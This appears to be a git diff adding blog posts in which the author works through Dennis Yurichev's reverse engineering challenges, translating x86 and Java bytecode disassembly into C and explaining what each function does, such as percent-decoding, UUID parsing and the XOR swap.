edi + // call exit + puts("error!"); + exit(0); + } +} +#+END_SRC + +Yurichev wasn't lying, this was an easy challenge. In fact, if I were reverse +engineering a binary and came across something like this, I probably wouldn't +bother translating the assembly to equivalent C. It's a function that converts a +character to a boolean (in the sense of a prompt that asks the user for 'Y' or +'N' -- "Yes" or "No") and exits prematurely if the character wouldn't make sense +in that context. + +* Challenge #10 + +The hint time is "[t]his code snippet is short, but tricky. What does it do? +It's used heavily in low-level programming and is well-known to many low-level +programmers. There are several ways to calculate it, and this is the one of +them." + +The snippet really is short, clocking in at only four instructions, but I still +felt the need to break out [[https://godbolt.org/][Compiler Explorer]] for this one. The part about being +"used heavily in low-level programming" threw me off a bit, since I saw =neg= and +thought that perhaps that'd correspond to the =~= operator in C, which I've only +seen used in very low-level bit shifting code. This initial assumption would've +led me astray, however, and I'm glad I took the extra minute to verify. + +#+BEGIN_SRC c +int f(int a) +{ + return -a; +} +#+END_SRC + +#+BEGIN_SRC asm +f(int): + push rbp + mov rbp, rsp + mov DWORD PTR [rbp-4], edi + mov eax, DWORD PTR [rbp-4] + neg eax + pop rbp + ret +#+END_SRC + +#+BEGIN_SRC c +int f(int a) +{ + return ~a; +} +#+END_SRC + +#+BEGIN_SRC asm +f(int): + push rbp + mov rbp, rsp + mov DWORD PTR [rbp-4], edi + mov eax, DWORD PTR [rbp-4] + not eax + pop rbp + ret +#+END_SRC + +=not= corresponds to =~=, and =neg= corresponds to =-= We're dealing with =neg= here. + +The equivalent C code for the snippet is given. Because I had Compiler Explorer +open already, I decided to throw this in there for kicks and giggles. x86-64 gcc +8.3 with =-O2= spits out the exact same series of instructions as the challenge. I +love the predictability of C compilers. + +#+BEGIN_SRC c +int f(int a, int b) +{ + return (a + b - 1) & -b; +} +#+END_SRC + +This doesn't answer our question, though. What does this do? We can test a few +values of =a= and =b= with the following snippet, replacing =2<<0= with various +constants. + +#+BEGIN_SRC c +int main(void) +{ + int i, j; + j = 2 << 0; + for (i = 0; i < 256; i++) { + printf("%-8x %-8x %-8x\n", i, j, f(i, j)); + } +} +#+END_SRC + +#+BEGIN_SRC +0 2 0 +1 2 2 +2 2 2 +3 2 4 +4 2 4 +5 2 6 +6 2 6 +7 2 8 +8 2 8 +9 2 a +a 2 a +b 2 c +c 2 c +d 2 e +e 2 e +f 2 10 +... +0 8 0 +1 8 8 +2 8 8 +3 8 8 +4 8 8 +5 8 8 +6 8 8 +7 8 8 +8 8 8 +9 8 10 +a 8 10 +b 8 10 +c 8 10 +d 8 10 +e 8 10 +f 8 10 +10 8 10 +11 8 18 +12 8 18 +#+END_SRC + +It would seem that this is some sort of "least multiple of \(b\) such that \(b < +a\) given that \(b\) is a power of two, but I feel as though I'm grasping at +straws here. + +As a Gentoo user, I have the Linux source tree checked out at =/usr/src/linux=, +and because the hint mentions low-level programming, I decided to create a +regular expression for the C I came up with and let =ag= have a go at it. + +=ag "\\(.*-[^>].*\\).*&.*\\-" /usr/src/linux= yielded quite a few results. Before +I ran the command, I wasn't expecting much, thinking that my regex was too +permissive, but the first result I saw looked remarkably like the C expression I +had come up with -- right at the beginning of =sysv_readdir= in =fs/sysv/dir.c=: + +#+BEGIN_SRC c +static int sysv_readdir(struct file *file, struct dir_context *ctx) +{ + unsigned long pos = ctx->pos; + struct inode *inode = file_inode(file); + struct super_block *sb = inode->i_sb; + unsigned long npages = dir_pages(inode); + unsigned offset; + unsigned long n; + + ctx->pos = pos = (pos + SYSV_DIRSIZE-1) & ~(SYSV_DIRSIZE-1); + if (pos >= inode->i_size) + return 0; +#+END_SRC + +Hm. Remember how I mentioned that I expected =neg= to correspond to a =~=? Well, +jumping back to Compiler Explorer: + +#+BEGIN_SRC c +int f(int a) +{ + return ~a; +} +#+END_SRC + +#+BEGIN_SRC asm +f(int): + mov eax, edi + not eax + ret +#+END_SRC + +#+BEGIN_SRC c +int f(int a) +{ + return ~(a - 1); +} +#+END_SRC + +#+BEGIN_SRC asm +f(int): + mov eax, edi + neg eax + ret +#+END_SRC + +Modifying our search slightly to =ag "\\(.*-[^>].*\\).*&.*\\~.*\\-.*1"= yields a +massive number of results, some of which are named macros. Here's one of them, +in =include/uapi/linux/if_packet.h=: + +#+BEGIN_SRC c +#define TPACKET_ALIGN(x) (((x)+TPACKET_ALIGNMENT-1)&~(TPACKET_ALIGNMENT-1)) +#+END_SRC + +Cool. That makes me feel much more confident in my answer. + +* Challenge #11 + +The hint for this exercise is: "[t]his is a somewhat large function (in contrast +to the other exercises in this blog), but heavily used nowadays in various +software. As it can be clearly seen, it uses standard C/C++ functions including +strlen() and sscanf(). Some other helper function is also used. I intentionally +gave it this name to conceal its real function. So what does the whole code +snippet do?" + +I'd like to apologize in advance for the sloppiness of the code that follows. +Also, I've renamed =helper= to =is_hex_digit=, as it makes the code for =f= clearer. + +#+BEGIN_SRC c +#include +#include + +int is_hex_digit(char a) +{ + // lea edx, [rdi-48] + // mov eax, 1 + // cmp edx, 9 + // jbe .L2 + if (a <= '9') { + // .L2: + // ret + return 1; + } + + // and edi, -33 + // xor eax, eax + // sub edi, 65 + // cmp edi, 5 + // setbe al + // .L2: + // ret + return (a & -33) <= 'F' ? 1 : 0; +} + +int f(char *a, char *b) +{ + int len; + int local_12; + char *cur; + char *end; + char *dst; + char *next; + + // push r15 + // xor eax, eax + // or rcx, -1 + // push r14 + // push r13 + // push r12 + // mov r12, rsi + // push rbp + // mov rbp, rsi + // push rbx + // mov rbx, rdi + // sub rsp, 24 + // repnz scasb + // not rcx + dst = b; + cur = a; + len = strlen(a); + + // lea r14, [rbx-1+rcx] + // .L6: + // cmp rbx, r14 + // ja .L24 + while (cur <= end) { + // movsx eax, BYTE PTR [rbx] + // ... + // mov DWORD PTR [rsp+12], eax + local_12 = (int) *cur; + + // lea r13, [rbx+1] + next = cur + 1; + + // mov r15, r13 + // cmp eax, 43 + // jne .L7 + if (*cur == '+') { + // mov DWORD PTR [rsp+12], 32 + local_12 = ' '; + // jmp .L8 + } else { + // .L7: + // cmp eax, 37 + // jne .L8 + // movsx edi, BYTE PTR [rbx+1] + // call helper + // test eax, eax + // jne .L9 + if (*cur == '%' && is_hex_digit(*(cur + 1))) { + // .L9: + // movsx edi, BYTE PTR [rbx+2] + // lea r13, [rbx+3] + next = cur + 3; + + // call helper + // test eax, eax + // je .L11 + if (!is_hex_digit(*(cur + 2))) { + // .L11: + // or eax, -1 + // jmp .L10 + // .L10: + // add rsp, 24 + // pop rbx + // pop rbp + // pop r12 + // pop r13 + // pop r14 + // pop r15 + // ret + return -1; + } + + // lea rdx, [rsp+12] + // xor eax, eax + // mov esi, OFFSET FLAT:.LC0 + // mov rdi, r15 + // call __isoc99_sscanf + // test eax, eax + // je .L11 + if (!sscanf(cur + 1, "%2X", &local_12)) { + // .L11: + // or eax, -1 + // jmp .L10 + // .L10: + // add rsp, 24 + // pop rbx + // pop rbp + // pop r12 + // pop r13 + // pop r14 + // pop r15 + // ret + return -1; + } + } + + } + + // .L8: + // test r12, r12 + // je .L12 + if (b != NULL) { + // mov eax, DWORD PTR [rsp+12] + // mov BYTE PTR [rbp+0], al + *dst = local_12; + } + + // .L12: + // inc rbp + // mov rbx, r13 + // jmp .L6 + dst++; + cur = next; + } + + // .L24: + // mov eax, ebp + // sub eax, r12d + // .L10: + // add rsp, 24 + // pop rbx + // pop rbp + // pop r12 + // pop r13 + // pop r14 + // pop r15 + // ret + return dst - b; +} +#+END_SRC + +This could very well be cleaned up. In fact, I'm not even sure that my +translation is completely correct, but I got to the point where I felt it was +"good enough" and I could explain that =f= is a function for decoding a +[[https://en.wikipedia.org/wiki/Percent-encoding][percent-encoded]] string, where =a= is the encoded string and =b= is a destination to +decode to. If not for the telltale ='+'= corresponding to a =' '= and use of a ='%'= +character, I probably would have spent more time cleaning up my translation and +making sense of it. But I've seen code like this many times in my life, it +really is "heavily used nowadays in various software." + +I began this challenge by reversing =helper=, which I think was a good move as it +gave me some footing. I didn't even notice '%' or '+' in =f= at first, but the +realization that =helper= worked with hexadecimal digits got me started on ideas +for what =f= might do. + +On the topic of =helper=, the reason I was able to pick out that it's checking for +hexadecimal digits was realizing that \(a - 48 \leq 9\) is equivalent to \(a +\leq 49 + 9\). The comparison is otherwise pretty unclear. And I suspect that +the =-33= is related to how ASCII is encoded. + +The control flow for =f= is pretty intimidating with its 8 labels. When it came +time to look at =f=, I drew out a rudimentary control flow graph on paper -- +scribbling down the label names and drawing arrows between the different labels. +I found this to be very useful in identifying which jumps are loops (cycles in +the graph), which are conditionals (branches), and which labels are related +(linear relationships). + +#+BEGIN_EXPORT html + +#+END_EXPORT diff --git a/haunt/posts/challenges-re-writeups-2.org b/haunt/posts/challenges-re-writeups-2.org new file mode 100644 index 0000000..cb185fc --- /dev/null +++ b/haunt/posts/challenges-re-writeups-2.org @@ -0,0 +1,924 @@ +#+TITLE: Writeups for Dennis Yurichev's Reverse Engineering Challenges (#12-#22) +#+TAGS: writeup reverse-engineering x86 +#+DATE: <2019-05-28 Tue 15:18> + +This is the second set of solutions for my self-imposed challenge of completing +at least fifty of the exercises on Dennis Yurichev's [[https://challenges.re][challenges.re]] by the end of +the year. The first set is available [[http:///jakob.space/challenges-re-writeups-1.html][here]]. + +* Challenge #12 + +No hints are given for this challenge, but it is the first time a binary is +available in addition to the disassembly. I didn't download the executable, I +was able to gather from the tags that the target is amd64 Linux. + +If later challenges also provide executables, I may use it as an opportunity to +explore the NSA's newly-released [[https://www.nsa.gov/resources/everyone/ghidra/][Ghidra]]. At the time of writing this, Ghidra's +source code has yet to be released, so I'll have to pass up the opportunity this +time around. + +#+BEGIN_SRC c +#include +#include +#include +#include +#include +#include +#include +#include + +int main(int argc, char **argv) +{ + // push rbx + // mov rbx, rsi + // sub rsp, 160 + int ret; + struct stat sbuf; + struct utimbuf tbuf; + + // cmp edi, 2 + // je .L2 + if (argc != 2) { + // mov edi, OFFSET FLAT:.LC0 + // call puts + puts("Usage: "); + } + + // .L2: + // mov rsi, QWORD PTR [rbx+8] + // lea rdx, [rsp+16] + // mov edi, 1 + // call __xstat + ret = stat(argv[1], &sbuf); + + // test eax, eax + // js .L10 + if (ret < 0) { + // .L10: + // mov edi, OFFSET FLAT:.LC1 + // call puts + // xor edi, edi + // call exit + puts("error #1!"); + exit(0); + } + + // mov rax, QWORD PTR [rsp+88] + // xor edi, edi + // mov QWORD PTR [rsp], rax + tbuf.actime = sbuf.st_atim.tv_sec; + + // call time + /// ... + // mov QWORD PTR [rsp+8], rax + tbuf.modtime = time(NULL); + + // mov rdi, QWORD PTR [rbx+8] + // mov rsi, rsp + // call utime + ret = utime(argv[1], &tbuf); + + // test eax, eax + // js .L11 + if (ret < 0) { + // .L11: + // mov edi, OFFSET FLAT:.LC2 + // call puts + // xor edi, edi + // call exit + puts("error #2!"); + exit(0); + } + + // add rsp, 160 + // xor eax, eax + // pop rbx + // ret + return 0; +} +#+END_SRC + +The first thing that may stand out in the disassembly listing is =call __xstat=. +=__xstat= isn't part of the C standard library or POSIX. My understanding of +functions like these is that sometimes an interface like =stat= will result in a +call to some internal libc routine when compiled, but the only time I've seen +this before was with =__printf_chk=. Regardless, search engines are your friend, +and you should have no trouble arriving at the [[http://refspecs.linuxbase.org/LSB_3.0.0/LSB-PDA/LSB-PDA/baselib-xstat-1.html][relevant page]] in the Linux +Standard Base Specification. One interesting thing of note is the comment that +"=ver= shall be =3= or the behavior of these functions is undefined," yet the +disassembly indicates that =ver= is =1=. I'm doubtful that this is part of the +challenge, though. + +I also just guessed that =QWORD PTR [rsp+88]= was =sbuf.st_atim.tv_sec=, given the +context that the value is used in. Going from assembly to the corresponding +fields of a struct is a pain without a tool, which is perhaps an indication that +I should've downloaded the binary and used Ghidra^h^h^h^h^h^hradare2 to prod at +it. + +Either way, the code updates a file's modification time. It's comparable to +=touch=, but doesn't create the file if it doesn't exist. The strings are +intentionally vague, so here's a cleaned up version: + +#+BEGIN_SRC c +#include +#include + +int main(int argc, char **argv) +{ + struct stat sbuf; + struct utimbuf tbuf; + + if (argc != 2) { + printf("Usage: %s [path]\n", argv[0]); + } + + if (stat(argv[1], &sbuf) < 0) { + printf("%s: %s\n", argv[1], strerror(errno)); + exit(0); + } + + tbuf.actime = sbuf.st_atim.tv_sec; + tbuf.modtime = time(NULL); + + if (utime(argv[1], &tbuf) < 0) { + printf("utime: %s\n", strerror(errno)); + exit(0); + } + + return 0; +} +#+END_SRC + +* Challenge #13 + +The question for this exercise is, "[w]hat does this SSE code do?" Uh oh. I +don't know anything about SSE. Not the end of the world, though. I always +appreciate an opportunity to learn. Here are some notes I took on chapter 25 of +Yurichev's book: + +_Vectorization_ is the process of taking several arrays as input and producing a +single array as output. SIMD (Single Instruction, Multiple Data) is a way of +optimizing vectorization by doing certain array-level operations in parallel. + +Intel's initial implementation of SIMD reused FPU register. SSE added 128-bit +registers (%xmm*) that were separate from the FPU, and AVX added 256-bit +registers that were separate from the FPU. + +Well, that doesn't seem too complicated, and the exercise only uses two +instructions: =movdqu=, which loads a 16-byte value from memory into an %xmm* +register, and =pmaxub=, which calculates the maximum values between two %xmm* +registers. + +#+BEGIN_SRC c +void f(int *dest, int *a, int *b) +{ + int i; + + // xor rax, rax + // ... + // add rax, 16 + // cmp rax, 1024 + // jne .L4 + // ... + // .L4: + for (i = 0; i < 256; i++) { + // movdqu xmm0, XMMWORD PTR [rsi+rax] + // movdqu xmm1, XMMWORD PTR [rdx+rax] + // pmaxub xmm0, xmm1 + // movdqu XMMWORD PTR [rdi+rax], xmm0 + dest[i] = a[i] > b[i] ? a[i] : b[i]; + } + + // rep ret + return; +} +#+END_SRC + +=f= will fill an array, =dest=, such that the element at each index contains the +greater value between =a= and =b= for that index. + +* Challenge #14 + +The challenge description explains that, "[n]ow that's easy," and gives both +.NET and Java bytecode disassemblies. I am not familiar with either bytecode +format, but I do know Java (unfortunately), so I went with that. + +#+BEGIN_SRC java +public class Challenge14 { + public static boolean f(char a) { + // 0: iload_1 + // 1: bipush 97 + // 3: if_icmplt 14 + // 6: iload_1 + // 7: bipush 122 + // 9: if_icmpgt 14 + if (a < 97 || a > 122) { + // 14: iload_1 + // 15: bipush 65 + // 17: if_icmplt 28 + // 20: iload_1 + // 21: bipush 90 + // 23: if_icmpgt 28 + if (a < 65 || a > 90) { + // 28: iconst_0 + // 29: ireturn + return false; + } + + // 26: iconst_1 + // 27: ireturn + return true; + } + + // 12: iconst_1 + // 13: ireturn + return true; + } +} +#+END_SRC + +I'm not particularly confident in my translation -- the above is the result of +skimming the [[https://en.wikipedia.org/wiki/Java_bytecode][Java bytecode]] and [[https://en.wikipedia.org/wiki/Java_bytecode_instruction_listings][Java bytecode instruction listings]] pages on +Wikipedia -- but that translation does appear to convey a meaningful operation: +telling whether or not =a= is an ASCII letter. + +* Challenge #15 + +The challenge description explains that, "[n]ow that's really easy." + +#+BEGIN_SRC c +void f(char *dst) +{ + int i; + + // xorps %xmm0, %xmm0 + // movups %xmm0, 240(%rdi) + // movups %xmm0, 224(%rdi) + // movups %xmm0, 208(%rdi) + // movups %xmm0, 192(%rdi) + // movups %xmm0, 176(%rdi) + // movups %xmm0, 160(%rdi) + // movups %xmm0, 144(%rdi) + // movups %xmm0, 128(%rdi) + // movups %xmm0, 112(%rdi) + // movups %xmm0, 96(%rdi) + // movups %xmm0, 80(%rdi) + // movups %xmm0, 64(%rdi) + // movups %xmm0, 48(%rdi) + // movups %xmm0, 32(%rdi) + // movups %xmm0, 16(%rdi) + // movups %xmm0, (%rdi) + // ret + for (i = 0; i < 256; i++) { + dst[i] = '\0'; + } +} +#+END_SRC + +I initially read the disassembly for this challenge as if it were Intel syntax, +but it's AT&T. The operation is simple: =f= zeroes out a 256-byte buffer specified +by the first parameter. + +* Challenge #16 + +Only one disassembly is given for this challenge, and the description hints that +it is from Clang: "[n]ow this is getting harder. Clang did a lot of optimization +tricks and this code is heavily optimized for SSE2. Nevertheless, the original +function is tiny and simple. What does it do?" + +In all honesty, I don't think that a translation to C is helpful. As the problem +mentioned, there's heavy optimization for SSE2, and the assembly code only +tangentially corresponds to what (I believe) is going on. Instead, I'll attempt +to justify my partial conclusion that =f= sums an array of integers. + +Bytes from =rdi= (indexed with =rcx=) are interleaved into =xmm0= and =xmm2= with +=pinsrw=, and continually added into =xmm3= and =xmm4=. Then, =xmm0= and =xmm2= are added, +and =xmm1= is unpacked with =punpckhqdq xmm1, xmm1=. The pseudocode for the +=punpckhqdq= instruction is given as: + +#+BEGIN_SRC c +Destination[0..63] = Destination[64..127]; +Destination[64..127] = Source[64..127]; +#+END_SRC + +So it's unusual to see =xmm1= as both the "Source" and "Destination". This is +followed by a =paddq xmm1, xmm0=. + +I can't really confirm any of this because of the =movdqa xmm1, xmmword ptr +[rip + .LCPI0_0]= instruction. Some sort of mask is being used in those =pand +xmm0, xmm1= and =pand xmm2, xmm1= instructions, and I suspect that it's one of many +tricks coming together so the function works for an array of _integers_, but we +aren't given =.LCPI0_0=, so I can't tell for sure. + +This also means that I can't assemble what's given. If anyone out there is +experienced in SIMD and would to share some tips for making sense of this one, +I'd really appreciate it. + +* Challenge #17 + +The description explains that "[t]his is a quite esoteric piece of code, but +nevertheless, the task it does is very mundane and well-known to anyone. The +function has 4 32-bit arguments and returns a 32-bit one." + +#+BEGIN_SRC c +int f(int a, int b, int c, int d) +{ + int tmp1, tmp2; + + // sub edx, edi + c -= a; + + // mov r8d, ecx + // ... + // sub r8d, esi + tmp1 = d - b; + + // mov ecx, 63 + d = 63; + + // mov eax, edx + // sar eax, cl + // and eax, edx + tmp2 = (c >> (d & 0xff)) & c; + + // mov edx, r8d + // sar edx, cl + // ... + // and edx, r8d + c = (tmp1 >> (d & 0xff)) & tmp1; + + // add edi, eax + a += tmp2; + + // add esi, edx + // sub esi, edi + b += c - a; + + // mov eax, esi + // sar eax, cl + // and eax, esi + // add eax, edi + // ret + return ((b >> (d & 0xff)) & b) + a; +} +#+END_SRC + +The initial translation is quite messy, but observe that =d= has a constant value +of =63=, and =63 & 0xff= is just =63=. Still, there are a number of snippets that look +like =(c >> (d & 0xff)) & c=, and it isn't obvious what that does. + +#+BEGIN_SRC c +int black_box(int a) +{ + return (a >> 63) & a; +} + +int main(void) +{ + int i; + + for (i = 0; i >= 0; i += 1) { + if (black_box(i) != 0) { + printf("black_box(%d) = %d\n", i, black_box(i)); + } + } + + for (i = 0; i <= 0; i -= 1) { + if (black_box(i) != i) { + printf("black_box(%d) = %d\n", i, black_box(i)); + } + } + + + return 0; +} +#+END_SRC + +#+BEGIN_SRC +re.c: In function 'black_box': +re.c:64:13: warning: right shift count >= width of type [-Wshift-count-overflow] + return (a >> 63) & a; + ^~ +#+END_SRC + +I'm not sure if this is the intended behavior, but on amd64, this acts as +\(min(x, 0)\). A first step at simplification can be made. + +#+BEGIN_SRC c +#define MIN(a, b) (a < b ? a : b) + +int f(int a, int b, int c, int d) +{ + a += MIN(c - a, 0); + c = MIN(d - b, 0); + b += c - a; + return MIN(b, 0) + a; +} +#+END_SRC + +And this can be further cleaned up into a one-liner. + +#+BEGIN_SRC c +#define MIN(a, b) (a < b ? a : b) + +int f(int a, int b, int c, int d) +{ + return a + \ + MIN(b - a + MIN(d - b, 0) - MIN(c - a, 0), 0) + \ + MIN(c - a, 0); +} +#+END_SRC + +And this happens to be an interesting implementation of \(min(a, b, c, d)\). + +* Challenge #18 + +For challenges with more complicated control flow, I've been drawing the basic +blocks out on a sheet of paper and drawing arrows between them to identify which +transitions represent loops, and which transitions represent conditionals. That +didn't work particularly well for this challenge, though. The solution instead +came to me instead by just staring at the disassembly for some time. + +#+BEGIN_SRC c +#include +#include +#include +#include + +int f3(char *a, uint64_t *b, uint64_t *c, uint64_t *d, uint64_t *e, uint64_t *f) +{ + int i; + char *cur; + + if (strlen(a) != 36) { + return a; + } + + cur = a; + i = 0; + + while (i != 37) { + if (i == 8 || i == 13 || i == 18 || i == 23) { + if (*cur != '-') { + return (char *) -1; + } + } else { + if (i == 36 && *cur == '\0') { + break; + } + + if (!isxdigit(*cur)) { + return (char *) -1; + } + } + + i++; + cur++; + } + + *b = strtoul(a, NULL, 16); + *c = strtoul(a + 9, NULL, 16); + *d = strtoul(a + 14, NULL, 16); + *e = strtoul(a + 19, NULL, 16); + *f = strtoull(a + 24, NULL, 16); + return 0; +} +#+END_SRC + +The code appears to implement a [[https://en.wikipedia.org/wiki/Universally_unique_identifier][UUID]] parser. + +* Challenge #19 + +This challenge was particularly difficult. I began by translating the individual +basic blocks to C, and connecting them with =goto=. + +#+BEGIN_SRC c +#include +#include + +char *f2_bb(char *a, int b, int c, char *d) +{ + // rax <- a + // rbx <- a + + // QWORD PTR [rsp+24] <- d + // QWORD PTR [rsp+16] <- b + // QWORD PTR [rsp+8] <- c + + int i; + int j; + int k; + int *ret; + + // f2: + { + // test rcx, rcx + // jne .L21 + if (c == 0) { + // add rsp, 32 + // pop rbx + // ret + return a; + } + + goto BBL21; + } + + // .L21: + { + BBL21: + // lea rdi, [4+rcx*4] + // ... + // call malloc + ret = malloc(c * 4 + 4); + + // ... + // mov DWORD PTR [rax], -1 + ret[0] = -1; + + // ... + // mov DWORD PTR [rax+4], 0 + ret[1] = 0; + + // mov r9d, 1 + i = 1; + + // ... + // cmp r9, rcx + // je .L22 + if (c == 1) { + goto BBL22; + } + + goto BBL8; + } + + // .L8: + { + BBL8: + // mov edi, DWORD PTR [rax+r9*4] + // lea r8d, [rdi+1] + // test r8d, r8d + // mov DWORD PTR [rax+4+r9*4], r8d + if ((ret[i + 1] = ret[i] + 1) <= 0) { + // jle .L5 + goto BBL5; + } + + // movzx r10d, BYTE PTR [rdx+r9] + // movsx r8, r8d + // cmp r10b, BYTE PTR [rdx-1+r8] + if (d[i] != d[ret[i + 1] - 1]) { + // jne .L7 + goto BBL7; + } + + // jmp .L5 + goto BBL5; + } + + // .L7: + { + BBL7: + // mov r8d, DWORD PTR [rax-4+r8*4] + // add r8d, 1 + // test r8d, r8d + // mov DWORD PTR [rax+4+r9*4], r8d + if ((ret[i + 1] = ret[ret[i + 1] - 1] + 1) > 0) { + // jg .L23 + goto BBL23; + } + + goto BBL5; + } + + // .L23: + { + BBL23: + // movsx r8, r8d + // cmp BYTE PTR [rdx-1+r8], r10b + if (d[ret[i + 1] - 1] == ret[i]) { + // je .L5 + goto BBL5; + } + + goto BBL7; + } + + // .L5: + { + BBL5: + // add r9, 1 + // cmp r9, rcx + if (++i != c) { + // jne .L8 + goto BBL8; + } + + goto BBL22; + } + + // .L22: + { + BBL22: + // xor r8d, r8d + // xor r10d, r10d + // xor edi, edi + i = j = k = 0; + goto BBL9; + } + + // .L9: + { + BBL9: + // cmp rdi, rsi + // jae .L24 + if (j >= b) { + goto BBL24; + } + + goto BBL14; + } + + // .L14: + { + BBL14: + // test r8d, r8d + if (i < 0) { + // js .L10 + goto BBL10; + } + + // movsx r9, r8d + // movzx r11d, BYTE PTR [rdx+r9] + // cmp BYTE PTR [rbx+rdi], r11b + if (d[i] == a[j]) { + // je .L10 + goto BBL10; + } + + // cmp rdi, rsi + // mov r8d, DWORD PTR [rax+r9*4] + i = ret[i]; + + if (j < b) { + // jb .L14 + goto BBL14; + } + + goto BBL24; + } + + // .L10: + { + BBL10: + // add r8d, 1 + // add r10d, 1 + // movsx rdi, r8d + j = ++i; + k++; + + // cmp rdi, rcx + if (j == c) { + // je .L18 + goto BBL18; + } + + // movsx rdi, r10d + j = k; + + // jmp .L9 + goto BBL9; + } + + // .L18: + { + BBL18: + // movsx r10, r10d + // sub r10, rcx + k -= c; + + // add rbx, r10 + a += k; + + // jmp .L13 + goto BBL13; + } + + + // .L24: + { + BBL24: + // xor ebx, ebx + a = NULL; + goto BBL13; + } + + // .L13: + { + BBL13: + // mov rdi, rax + // call free + free(ret); + + // add rsp, 32 + // mov rax, rbx + // pop rbx + // ret + return a; + } + +} +#+END_SRC + +#+BEGIN_SRC c +char *f2(char *a, int b, int c, char *d) +{ + int i; + int j; + int k; + int *ret; + + if (c == 0) { + return a; + } + + ret = malloc((c + 1) * sizeof(int)); + ret[0] = -1; + ret[1] = 0; + + i = 1; + + do { + if ((ret[i + 1] = ret[i] + 1) > 0 + && d[i] != d[ret[i] - 1]) { + while ((ret[i + 1] = ret[ret[i + 1] - 1] + 1) > 0) { + if (d[ret[i + 1] - 1] == ret[i]) { + break; + } + } + } + } while (++i < c); + + i = j = k = 0; + + while (j < b) { + if (i < 0 || d[i] == a[j]) { + j = ++i; + k++; + + if (j == c) { + free(ret); + return a + k - c; + } + + j = k; + } + i = ret[i]; + } + + free(ret); + return NULL; +} +#+END_SRC + +This challenge was nightmarishly difficult. I plan to come back to it near the +end of the year, but for now, consider this challenge incomplete. I've been +banging my head against a wall trying to make sense of it for a number of weeks +now, and I still don't have a good answer for what it does. + +* Challenge #20 + +Another challenge described as "easy." This time, it really is. + +#+BEGIN_SRC c +#include + +float f4() +{ + return rand() * ((float) 4.65661287307739257813e-10); +} +#+END_SRC + +I did defer to an ISA reference for =cvtsi2ss= and =mulss= as I'm not particularly +familiar with x86's floating point instructions. This challenge also gave me an +opportunity to use [[https://float.exposed/0x30000000][float.exposed]] to turn =.long 805306368= into a floating point +constant, but \(4.65661287307739257813 \cdot 10^{-10}\) isn't any more +comprehensible. The purpose of =f4= is clearer when observing the output. + +#+BEGIN_SRC prog +... +0.086556 +0.535690 +0.176955 +0.791683 +0.575702 +0.418118 +0.952373 +... +#+END_SRC + +=f4= returns a random floating point number on the range \([0, 1]\). + +* Challenge #21 + +I was able to complete the translation for this challenge in under five minutes, +which I'm quite proud of. + +#+BEGIN_SRC c +#include + +int f1(char *a, char *b) +{ + // rbp <- a + // rbx <- b + + int offset; + + // push r12 + // push rbp + // mov rbp, rdi + // push rbx + // mov rbx, rsi + // call strlen + // mov rdi, rbx + // mov r12, rax + // call strlen + // sub r12, rax + offset = strlen(a) - strlen(b); + + // mov rsi, rbx + // lea rdi, [rbp+0+r12] + // call strcmp + // pop rbx + // test eax, eax + // pop rbp + // sete al + // pop r12 + // ret + return strcmp(a + offset, b) ? 1 : 0; +} +#+END_SRC + +=f= is a simple "ends with" predicate function. It returns =1= if =a= ends with the +substring =b=. + +* Challenge #22 + +I stopped when I got to the =// ...=. I'd figured it out by then, and =-Os= made the +assembly for this quite messy. + +#+BEGIN_SRC c +int f2(int *a, int b, int *c, int d) +{ + // rcx <- a[b] + // eax <- d + 1 + // ebp <- c[0] + + int i; // r8 + int j; + int *cur; + + i = d + 1; + j = 0; + + while (j < i){ + while (c[j + 1] <= c[0] && j < d) + j++; + + cur = &a[i - 1]; + while (*cur-- > c[0]); + + if (j < i) { + c[j + 1] ^= *(cur + 1); + *cur ^= *(cur + 1); + c[j + 1] ^= *cur; + } + } + + c[0] ^= *(cur + 1); + // ... + + return 0; +} + +void f1(int *a, int b, int *c, int d) +{ + int ret; + + while (b < d) { + ret = f2(a, b, c, d); + f1(a, b, c, ret - 1); + b = ret + 1; + } +} +#+END_SRC + +The hint for this challenge is that "[t]his can be tricky, but the algorithm is +well known and heavily used almost everywhere," which gave it away once I got to +the mess of =xor= instructions. This is the [[https://en.wikipedia.org/wiki/XOR_swap_algorithm][XOR swap algorithm]], extended so that +it reverses the contents of =a= and =c=. + +#+BEGIN_EXPORT html + +#+END_EXPORT diff --git a/haunt/posts/challenges-re-writeups-3.org b/haunt/posts/challenges-re-writeups-3.org new file mode 100644 index 0000000..1bf5cc0 --- /dev/null +++ b/haunt/posts/challenges-re-writeups-3.org @@ -0,0 +1,817 @@ +#+TITLE: Writeups for Dennis Yurichev's Reverse Engineering Challenges (#23-#35) +#+DATE: <2019-08-18 Sun 10:42> +#+TAGS: writeup reverse-engineering x86 + +This is the third set of solutions for my self-imposed challenge of completing +at least fifty of the exercises on Dennis Yurichev's [[https://challenges.re][challenges.re]] by the end of +the year. The previous set is available [[http:///jakob.space/challenges-re-writeups-2.html][here]]. + +* Challenge #23 + +The problem is prefaced with, "[t]his is another implementation of a well-known +library function, works only in a 64-bit environment." Translating the +disassembly directly to C reveals unrolled loops, but the intent isn't too +difficult to figure out. + +#+BEGIN_SRC c +int f(char *a) +{ + int i; + + if (a[0] == '\0') { + return 0; + } + + if (a[1] == (char) 0xff) { + return 1; + } + + if (a[2] == (char) 0xff) { + return 2; + } + + if (a[3] == (char) 0xff) { + return 3; + } + + if (a[4] == (char) 0xff) { + return 4; + } + + if (a[5] == (char) 0xff) { + return 5; + } + + i = 0; + + while (a[6] != (char) 0xff) { + if (a[7] == (char) 0xff) { + return i + 7; + } + + i += 8; + a += 8; + + if (a[1] == (char) 0xff) { + return i; + } + + if (a[1] == (char) 0xff) { + return i + 1; + } + + if (a[2] == (char) 0xff) { + return i + 2; + } + + if (a[3] == (char) 0xff) { + return i + 3; + } + + if (a[4] == (char) 0xff) { + return i + 4; + } + + if (a[5] == (char) 0xff) { + return i + 5; + } + } + + return i + 6; +} +#+END_SRC + +=f= returns the index of the first occurrence of =0xff= in =a=. In addition to asking +for the purpose of the code, the challenge poses a few additional questions. + +First: "The code may crash under some specific circumstances. Which are...?" =f= +will crash in the case that there isn't a 0xff character in the string. + +Second: "The code can be easily optimized using SSEx. How?" =movq= can be used to +dereference the characters of =a=, and the location of the =0xff= character can be +found using =pcmpeqb=. Actually implementing this is left as an exercise to the +reader. And I'm not saying that just because writing SIMD by hand makes me want +to break down and cry... or anything like that... + +Finally: "The code will not work correctly on big-endian architectures. How to +fix it?" In the disassembly, the LSB of =rdx= (=dl=) is treated as the _first_ +character in the sliding window. On a big-endian system, dereferencing the +window as an integer would mean that the LSB would correspond with the _last_ +character in the window. To fix this, you would need to change which parts of +the register are being looked at. I realize that's a rather anemic answer, but +the alternative would be going all-in and implementing =f= on a 